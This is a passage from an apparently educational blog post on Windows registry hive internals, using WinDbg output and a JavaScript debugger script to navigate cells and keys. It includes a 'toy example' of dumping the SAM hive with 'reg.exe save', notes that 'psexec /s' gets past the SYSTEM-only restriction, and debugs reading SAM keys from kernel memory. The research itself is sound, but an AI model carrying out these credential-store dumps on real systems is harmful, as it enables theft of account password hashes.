style=&quot;color:#a3be8c;&quot;&gt;nt!_HMAP_ENTRY&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)), &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nt&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;_HMAP_ENTRY*&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BinAddress &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;Entry&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PermanentBinAddress&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;bitwiseAnd&lt;&#x2F;span&gt;&lt;span&gt;(~&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0f&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CellAddress &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BinAddress&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;Entry&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;BlockOffset&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Offset&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;CellAddress&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Such function is critical to navigate correctly in the hive, and we’ll refer to it in the rest of the article as &lt;code&gt;GetCellAddress()&lt;&#x2F;code&gt;. If you remember the lookup slide, you’ll realize that the function is “incorrect”: in its state it’ll return the address of the beginning of the Cell, which holds the size (as a ULONG). Therefore to get the address of the &lt;strong&gt;data&lt;&#x2F;strong&gt; of the Cell, simply add &lt;code&gt;sizeof(ULONG)&lt;&#x2F;code&gt; (or 4) to the result.&lt;&#x2F;p&gt;
&lt;p&gt;It was interesting to me to find that the engineers behind the CM have decided to go with this function pointer approach for hives, instead of a static one but couldn’t find one (if you know, let me know!). And hey, it makes any form of kernel hooking for the registry a lot easier so it’s great for us!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;enumerating-values&quot;&gt;Enumerating Values&lt;&#x2F;h3&gt;
&lt;p&gt;Now that we’ve understood the logic behind Cells and how to navigate through them, the rest is easier to understand. As we’ve mentioned before, “Key Values” are roughly the equivalent of a regular filesystem files. To get the values of a specific key node, one can use the field &lt;code&gt;nt!_CM_KEY_NODE.ValueList&lt;&#x2F;code&gt; (of type &lt;code&gt;_CHILD_LIST&lt;&#x2F;code&gt;) we’ve briefly discussed above.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _CHILD_LIST
&lt;&#x2F;span&gt;&lt;span&gt;nt!_CHILD_LIST
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Count            : Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x004 List             : Uint4B
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then it’s as simple as it gets: the structure gives us the number of values and the Cell Index of the array (of the form of an array of size &lt;code&gt;_CHILD_LIST.Count&lt;&#x2F;code&gt; x &lt;code&gt;sizeof(HCELL_INDEX)&lt;&#x2F;code&gt;) of all the values of this key node. Then we simply iterate through the list of HCELL_INDEX using &lt;code&gt;GetCellAddress(KeyHive, Index)&lt;&#x2F;code&gt; to get the Key Nodes of type &lt;code&gt;CM_KEY_VALUE_SIGNATURE&lt;&#x2F;code&gt;: the type &lt;code&gt;CM_KEY_VALUE_SIGNATURE&lt;&#x2F;code&gt; will indicate that the current node has a structure of &lt;code&gt;nt!_CM_KEY_VALUE&lt;&#x2F;code&gt;, where the actual content and content length can be read.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _CM_KEY_VALUE
&lt;&#x2F;span&gt;&lt;span&gt;nt!_CM_KEY_VALUE
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Signature        : Uint2B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x002 NameLength       : Uint2B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x004 DataLength       : Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x008 Data             : Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x00c Type             : Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x010 Flags            : Uint2B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x012 Spare            : Uint2B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x014 Name             : [1] Wchar
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;_CM_KEY_VALUE.Data&lt;&#x2F;code&gt; doesn’t contain a pointer to the data, but again an &lt;code&gt;HCELL_INDEX&lt;&#x2F;code&gt;: so we need to call again &lt;code&gt;GetCellAddress()&lt;&#x2F;code&gt; on this index (we stay on the same hive), and finally retrieve the data.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;enumerating-subkeys&quot;&gt;Enumerating SubKeys&lt;&#x2F;h3&gt;
&lt;p&gt;By knowing how cells work it is possible to know how subkeys will be linked: subkeys are just &lt;code&gt;_CM_KEY_NODE&lt;&#x2F;code&gt; objects. the structure gives 2 fields&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;   +0x014 SubKeyCounts     : [2] Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x01c SubKeyLists      : [2] Uint4B
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The important one is &lt;code&gt;SubKeyLists&lt;&#x2F;code&gt; which is an array of 2 (… you guessed it …) Cell Indexes (&lt;code&gt;HCELL_INDEX&lt;&#x2F;code&gt;). The reasons each array has 2 entries, is to differentiate between Permanent SubKeys (at index 0), and Volatile subKeys (at index 1). To iterate through a tree, there needs to be a root. And the hive root node cell index is given by the field &lt;code&gt;RootCell&lt;&#x2F;code&gt; of the &lt;code&gt;_HBASE_BLOCK&lt;&#x2F;code&gt;, which the hive handle always holds a reference to, via the &lt;code&gt;BaseBlock&lt;&#x2F;code&gt; field:&lt;&#x2F;p&gt;
&lt;div class=&quot;mermaid&quot;&gt;
graph LR;
    A[_HHIVE] -- &quot;.BaseBlock&quot; --&gt; B[&quot;_HBASE_BLOCK&quot;];
    B -- &quot;GetCellAddress(.RootCell)&quot; --&gt; C[&quot;_CM_INDEX[0]&quot;];
    B -- &quot;GetCellAddress(.RootCell)&quot; --&gt; E[&quot;_CM_INDEX[1]&quot;];
    B -- &quot;GetCellAddress(.RootCell)&quot; --&gt; F[&quot;_CM_INDEX[...]&quot;];
    C -- &quot;.Cell&quot; --&gt; D[&quot;_CM_KEY_NODE&quot;];
&lt;&#x2F;div&gt;
&lt;p&gt;As we shown before from the linked list of &lt;code&gt;_CMHIVE&lt;&#x2F;code&gt; from &lt;code&gt;nt!CmpHiveListHead&lt;&#x2F;code&gt; we can iterate through all the system hives. Each hive object has a pointer to a handle of hive (&lt;code&gt;_HHIVE&lt;&#x2F;code&gt;) which exposes a &lt;code&gt;_DUAL&lt;&#x2F;code&gt; field named &lt;code&gt;Storage&lt;&#x2F;code&gt;: the index 0 is used for permanent storage, index 1 for volatile&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _DUAL
&lt;&#x2F;span&gt;&lt;span&gt;nt!_DUAL
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Length           : Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x008 Map              : Ptr64 _HMAP_DIRECTORY
&lt;&#x2F;span&gt;&lt;span&gt;   +0x010 SmallDir         : Ptr64 _HMAP_TABLE
&lt;&#x2F;span&gt;&lt;span&gt;   +0x018 Guard            : Uint4B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x020 FreeDisplay      : [24] _FREE_DISPLAY
&lt;&#x2F;span&gt;&lt;span&gt;   +0x260 FreeBins         : _LIST_ENTRY
&lt;&#x2F;span&gt;&lt;span&gt;   +0x270 FreeSummary      : Uint4B
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To summarize more graphically&lt;&#x2F;p&gt;
&lt;div class=&quot;mermaid&quot;&gt;
graph LR;
    Z(nt!CmpHiveListHead) --&gt; X[&quot;_CMHIVE&quot;];
    X-- &quot;.Hive&quot; --&gt; Y[&quot;_HHIVE&quot;];
    Y-- &quot;.Storage[0=Permanent,1=Volatile]&quot; --&gt; W[_HMAP_DIRECTORY]
&lt;&#x2F;div&gt;
&lt;p&gt;The subkeys will be located in the &lt;code&gt;Map&lt;&#x2F;code&gt; element (of type &lt;code&gt;_HMAP_DIRECTORY&lt;&#x2F;code&gt;). The &lt;code&gt;_HMAP_DIRECTORY&lt;&#x2F;code&gt; structure simply contains 1 element, a table of 1024 &lt;code&gt;_HMAP_TABLE&lt;&#x2F;code&gt;, each of them structured of 1 element: a &lt;code&gt;Table&lt;&#x2F;code&gt; of 512 &lt;code&gt;_HMAP_ENTRY&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _HMAP_DIRECTORY
&lt;&#x2F;span&gt;&lt;span&gt;nt!_HMAP_DIRECTORY
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Directory        : [1024] Ptr64 _HMAP_TABLE
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dt _HMAP_TABLE
&lt;&#x2F;span&gt;&lt;span&gt;nt!_HMAP_TABLE
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Table            : [512] _HMAP_ENTRY
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dt _HMAP_ENTRY
&lt;&#x2F;span&gt;&lt;span&gt;nt!_HMAP_ENTRY
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 BlockOffset      : Uint8B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x008 PermanentBinAddress : Uint8B
&lt;&#x2F;span&gt;&lt;span&gt;   +0x010 MemAlloc         : Uint4B
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div class=&quot;mermaid&quot;&gt;
graph LR;
    A[_HMAP_DIRECTORY] --&gt; B[&quot;_HMAP_TABLE[0]&quot;];
    A[_HMAP_DIRECTORY] --&gt; C[&quot;_HMAP_TABLE[1]&quot;];
    A[_HMAP_DIRECTORY] --&gt; D[&quot;_HMAP_TABLE[..]&quot;];
    A[_HMAP_DIRECTORY] --&gt; E[&quot;_HMAP_TABLE[1023]&quot;];
    B --&gt; F[&quot;_HMAP_ENTRY[0]&quot;];
    B --&gt; G[&quot;_HMAP_ENTRY[1]&quot;];
    B --&gt; H[&quot;_HMAP_ENTRY[..]&quot;];
    B --&gt; I[&quot;_HMAP_ENTRY[511]&quot;];
&lt;&#x2F;div&gt;
&lt;p&gt;The last nibble of &lt;code&gt;PermanentBinAddress&lt;&#x2F;code&gt; is used for meta-data, so we can bitwise AND it with &lt;code&gt;~0xf&lt;&#x2F;code&gt;. Finally to access the data, we simply must add the BlockOffset value, and the final Offset retrieved from AND-ing the Index to 0xfff. This is a the behavior that the function &lt;code&gt;GetCellAddress()&lt;&#x2F;code&gt; will do for us to painlessly get the virtual address of a cell, just from a hive handle and an Index.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;put-it-all-together&quot;&gt;Put it all together&lt;&#x2F;h2&gt;
&lt;p&gt;As a learning exercise, I always try to build a script&#x2F;tool when digging into a topic, and here the result is another WinDbg JS script, &lt;code&gt;RegistryExplorer.js&lt;&#x2F;code&gt;&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-0-2&quot;&gt;&lt;a href=&quot;#fn-0&quot;&gt;[1]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; which will allow to navigate through the registry using WinDbg Debugger Data Model (and therefore also query it via LINQ)&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;5787cef5-11cc-4a1f-97b7-2f6533812b2d.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;5787cef5-11cc-4a1f-97b7-2f6533812b2d.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;a better version was done by &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;msuiche&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@msuiche&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 here[^3]&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;Example:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dx @$cursession.Registry.Hives
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.Registry.Hives                 : [object Generator]
&lt;&#x2F;span&gt;&lt;span&gt;    [0x0]            : \REGISTRY\MACHINE\SYSTEM
&lt;&#x2F;span&gt;&lt;span&gt;    [0x1]            : \REGISTRY\MACHINE\HARDWARE
&lt;&#x2F;span&gt;&lt;span&gt;    [0x2]            : \REGISTRY\MACHINE\BCD00000000
&lt;&#x2F;span&gt;&lt;span&gt;    [0x3]            : \REGISTRY\MACHINE\SOFTWARE
&lt;&#x2F;span&gt;&lt;span&gt;    [0x4]            : \REGISTRY\USER\.DEFAULT
&lt;&#x2F;span&gt;&lt;span&gt;    [0x5]            : \REGISTRY\MACHINE\SECURITY
&lt;&#x2F;span&gt;&lt;span&gt;    [...]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx @$cursession.Registry.Hives.Where( x =&amp;gt; x.Name == &amp;quot;HARDWARE&amp;quot; ).First()
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.Registry.Hives.Where( x =&amp;gt; x.Name == &amp;quot;HARDWARE&amp;quot; ).First()             : \REGISTRY\MACHINE\HARDWARE
&lt;&#x2F;span&gt;&lt;span&gt;    HiveObject       [Type: _CMHIVE]
&lt;&#x2F;span&gt;&lt;span&gt;    HiveHandle       [Type: _HHIVE]
&lt;&#x2F;span&gt;&lt;span&gt;    HiveAddress      : 0xffffcf0289744000
&lt;&#x2F;span&gt;&lt;span&gt;    MountPoint       : \REGISTRY\MACHINE\HARDWARE
&lt;&#x2F;span&gt;&lt;span&gt;    RootCellIndex    : 0x20
&lt;&#x2F;span&gt;&lt;span&gt;    RootNode         : HARDWARE
&lt;&#x2F;span&gt;&lt;span&gt;    Name             : HARDWARE
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or the click-friendly version 😀&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;0a76e279-63a2-4643-8f1f-bd3c877323d8.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;0a76e279-63a2-4643-8f1f-bd3c877323d8.png&quot;

    

    
    title=&quot;RegistryExplorer.js&quot;
    alt=&quot;RegistryExplorer.js&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h3 id=&quot;practical-toy-example-dumping-sam&quot;&gt;Practical Toy Example: dumping SAM&lt;&#x2F;h3&gt;
&lt;p&gt;Any beginner pentester would (should?) know that in user-mode, a local Administrator account has enough privilege to dump the &lt;code&gt;SAM&lt;&#x2F;code&gt; &amp;amp; &lt;code&gt;SYSTEM&lt;&#x2F;code&gt; hives from the command line using &lt;code&gt;reg.exe&lt;&#x2F;code&gt;: (* If you didn’t know, I’d suggest reading this&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-4-1&quot;&gt;&lt;a href=&quot;#fn-4&quot;&gt;[3]&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; ASAP)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;PS C:\WINDOWS\system32&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;reg&lt;&#x2F;span&gt;&lt;span&gt;.exe save HKLM\SAM C:\Temp\SAM.bkp
&lt;&#x2F;span&gt;&lt;span&gt;The operation completed successfully.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Same goes for &lt;code&gt;SYSTEM&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;However, even as Administrator trying to access using &lt;code&gt;regedit.exe&lt;&#x2F;code&gt; the subkeys of &lt;code&gt;HLKM\SECURITY&lt;&#x2F;code&gt; and &lt;code&gt;SAM&lt;&#x2F;code&gt; will be denied as they require &lt;code&gt;NT AUTHORITY\SYSTEM&lt;&#x2F;code&gt; privilege which is only a half protection, as &lt;code&gt;psexec &#x2F;s&lt;&#x2F;code&gt; would be enough to bypass it. So with that in mind, in theory, &lt;code&gt;RegistryExplorer.js&lt;&#x2F;code&gt; gives us everything we need to fetch those values.&lt;&#x2F;p&gt;
&lt;p&gt;And then real life strikes…&lt;&#x2F;p&gt;
&lt;h4 id=&quot;issue-1&quot;&gt;Issue #1&lt;&#x2F;h4&gt;
&lt;p&gt;As I was trying to get those values manually, the initial script failed (crashed) complaining there was an invalid access to user-mode memory:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;GetCellDataAddress(Hive=ffffab04d1191000, Index=32): type=0 table=0 block=0 offset=32
&lt;&#x2F;span&gt;&lt;span&gt;    [0x0]            : Unable to read target memory at &amp;#39;0x280f6fa1850&amp;#39; in method &amp;#39;readMemoryValues&amp;#39; [at registryexplorer (line 20 col 18)]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It seemed that the cells for accessing the SAM were at some points hitting user-mode area, in a process different than &lt;code&gt;System&lt;&#x2F;code&gt;, so the address access walking the wrong page table, and hence the exception from WinDbg. Which got immediately confirmed:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _hmap_entry ffffab04d1191000
&lt;&#x2F;span&gt;&lt;span&gt;nt!_HMAP_ENTRY
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 BlockOffset      : 0
&lt;&#x2F;span&gt;&lt;span&gt;   +0x008 PermanentBinAddress : 0x00000280`f6fa1001 &amp;lt;&amp;lt;&amp;lt; yup here, in UM
&lt;&#x2F;span&gt;&lt;span&gt;   +0x010 MemAlloc         : 0x1000
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then how does the kernel know where to fetch this information? Well it turned out that the hive handle can hold reference to a process in its &lt;code&gt;ViewMap.ProcessTuple&lt;&#x2F;code&gt; attribute, of type &lt;code&gt;_CMSI_PROCESS_TUPLE&lt;&#x2F;code&gt; which holds both a handle to the &lt;code&gt;_EPROCESS&lt;&#x2F;code&gt; and a pointer to the &lt;code&gt;_EPROCESS&lt;&#x2F;code&gt;. We can use that information to determine the backing process:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dt _hhive ffffab04d1191000 ViewMap.ProcessTuple
&lt;&#x2F;span&gt;&lt;span&gt;nt!_HHIVE
&lt;&#x2F;span&gt;&lt;span&gt;   +0x0d8 ViewMap              :
&lt;&#x2F;span&gt;&lt;span&gt;      +0x018 ProcessTuple         : 0xfffff805`422657c0 _CMSI_PROCESS_TUPLE
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx ((_CMSI_PROCESS_TUPLE*)0xfffff805`422657c0)-&amp;gt;ProcessReference
&lt;&#x2F;span&gt;&lt;span&gt;((_CMSI_PROCESS_TUPLE*)0xfffff805`422657c0)-&amp;gt;ProcessReference : 0xffff828d85dbd080 [Type: void *]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx @$cursession.Processes.Where( x =&amp;gt; &amp;amp;(x.KernelObject) == (_EPROCESS*)0xffff828d85dbd080)
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.Processes.Where( x =&amp;gt; &amp;amp;(x.KernelObject) == (_EPROCESS*)0xffff828d85dbd080)
&lt;&#x2F;span&gt;&lt;span&gt;    [0x54]           : Registry [Switch To]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It points to the &lt;code&gt;Registry&lt;&#x2F;code&gt; process, which makes sense. To confirm, we can switch to the context of the process, and try to re-access the UM address &lt;code&gt;0x280f6fa1850&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dx -s @$cursession.Processes.Where( x =&amp;gt; x.Name == &amp;quot;Registry&amp;quot;).First().SwitchTo()
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; db 0x280f6fa1850
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa1850  a8 ff ff ff 6e 6b 20 00-4a 92 fb 8e 6b 38 d5 01  ....nk .J...k8..
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa1860  03 00 00 00 c0 02 00 00-06 00 00 00 00 00 00 00  ................
&lt;&#x2F;span&gt;&lt;span&gt;00000280`f6fa1870  a0 1f 00 00 ff ff ff ff-01 00 00 00 28 2c 00 00  ............(,..
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The signature &lt;code&gt;kn&lt;&#x2F;code&gt; (0x6b6e) at &lt;code&gt;0x280f6fa1850+sizeof(ULONG)&lt;&#x2F;code&gt; confirms we’re hitting the right spot.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;issue-2&quot;&gt;Issue #2&lt;&#x2F;h4&gt;
&lt;p&gt;Now I could access some keys &amp;amp; values but not everything:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dx @$SamHive = @$cursession.Registry.Hives.Where( x =&amp;gt; x.MountPoint.EndsWith(&amp;quot;SAM&amp;quot;)).First()
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;0: kd&amp;gt; dx @$SamHive.RootNode.Subkeys[0].Subkeys[0].Subkeys.Where(x =&amp;gt; x.KeyName == &amp;quot;Account&amp;quot;).First().Subkeys
&lt;&#x2F;span&gt;&lt;span&gt;@$SamHive.RootNode.Subkeys[0].Subkeys[0].Subkeys.Where(x =&amp;gt; x.KeyName == &amp;quot;Account&amp;quot;).First().Subkeys                 : [object Generator]
&lt;&#x2F;span&gt;&lt;span&gt;    [0x0]            : Aliases
&lt;&#x2F;span&gt;&lt;span&gt;    [0x1]            : Groups
&lt;&#x2F;span&gt;&lt;span&gt;    [0x2]            : Users
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The 2nd issue faced was that when trying to access some keys in UM for the &lt;code&gt;HKLM\SAM&lt;&#x2F;code&gt; hive, WinDbg would inconsistently return some access violation error. This reason was somewhat easier to figure out the cause, less easy for a programmatic remediation.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dx @$cursession.Registry.Hives.Where( x =&amp;gt; x.MountPoint.EndsWith(&amp;quot;SAM&amp;quot;)).First().RootNode.Subkeys[0].Subkeys[0].Subkeys.Where(x =&amp;gt; x.KeyName == &amp;quot;Account&amp;quot;).First().Subkeys[2].Subkeys
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.Registry.Hives.Where( x =&amp;gt; x.MountPoint.EndsWith(&amp;quot;SAM&amp;quot;)).First().RootNode.Subkeys[0].Subkeys[0].Subkeys.Where(x =&amp;gt; x.KeyName == &amp;quot;Account&amp;quot;).First().Subkeys[2].Subkeys                 : [object Generator]
&lt;&#x2F;span&gt;&lt;span&gt;GetCellDataAddress(Hive=ffffab04d1191000, Index=8096) = 280f6fa2fa0
&lt;&#x2F;span&gt;&lt;span&gt;    [0x0]            : Unable to read target memory at &amp;#39;0x280f6fa2fa4&amp;#39; in method &amp;#39;readMemoryValues&amp;#39; [at registryexplorer (line 20 col 18)]
